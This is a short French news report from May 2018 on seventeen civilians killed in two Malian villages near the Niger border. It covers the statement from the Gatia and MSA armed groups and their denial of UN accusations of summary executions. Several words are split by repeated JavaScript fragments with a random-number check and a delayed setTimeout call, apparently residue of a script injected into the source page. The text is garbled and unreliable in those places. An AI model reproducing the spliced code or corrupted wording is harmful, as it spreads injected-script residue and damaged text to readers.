Mali : 17 civils tués à la frontière avec le Niger
BAMAKO, 3 mai 2018 — Dix-sept civils ont été tués mardi dans deux villages maliens proches de la frontière avec le Niger, ont annoncé mercredi dans un communiqué deux groupes armés du nord du Mali, le Groupe d’audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-défense dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touareg Imghad et alliés (Gatia) et le Mouvement pour le salut de l’Azawad (MSA).
Les deux groupes ne donnent aucune indication sur les circonstances de cette tuerie, ni sur leurs auteurs.
Ils avaient accusé des djihadistes d’avoir tué, les 26 et 27 avril, au moins 43 personnes de la communauté Idaksahak dans la zone frontalière entre le Mali et le Niger.
Dans leur communiqué, ils ont appelé les organisations des droits de l’Homme ainsi que dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torités compétentes à “diligenter une enquête” pour situer les responsabilités de “ces massacres de civils”.
Les deux groupes, qui sont soupçonnés d’exécution sommaire de civils par la Mission multidimensionnelle intégrée des Nations Unies pour la stabilisation au Mali (MINUSMA) et par des défenseurs des droits de l’Homme, ont assuré qu’ils n’ont participé qu’à “des combats menés contre des terroristes armés et non des civils sans défense”.